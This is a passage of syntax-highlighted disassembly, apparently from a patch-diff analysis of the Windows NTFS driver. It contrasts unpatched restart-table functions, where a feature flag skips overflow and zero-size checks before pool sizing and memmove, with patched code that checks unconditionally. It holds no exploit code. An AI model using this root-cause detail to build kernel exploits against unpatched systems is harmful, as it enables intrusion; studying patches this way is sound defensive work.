&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WIL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evaluation&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C00246F5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- feature ON: overflow-checked path ---&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;augend&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+pulResult&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addend&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlULongAdd&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addition&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C00246EF&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0000032h&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExRaiseStatus&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- feature OFF: unchecked path ---&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+6&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024703&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024706&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InitializeNewTable&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sizing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uses&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002470B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024712&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002471D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;original&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024720&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movsxd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024727&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; (&lt;code&gt;0x1C0024640&lt;/code&gt;, patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024684&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9w&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;augend&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024688&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pulResult&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002468D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlULongAdd&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024692&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0024694&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C00246C3&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002469C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0000032h&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT_ERROR&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExRaiseStatus&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246D1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InitializeNewTable&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00246F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;NtfsAllocateRestartTableFromIndex&lt;/code&gt; (&lt;code&gt;0x1C002DC38&lt;/code&gt;, unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDCF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDDB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDDD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DDFC&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDDF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDE2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DDEA&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDE4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;di&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberEntries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDE8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C002DDFC&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DDFC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE05&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE0D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2859161914_59426036_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002DE14&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+4&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12w&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span 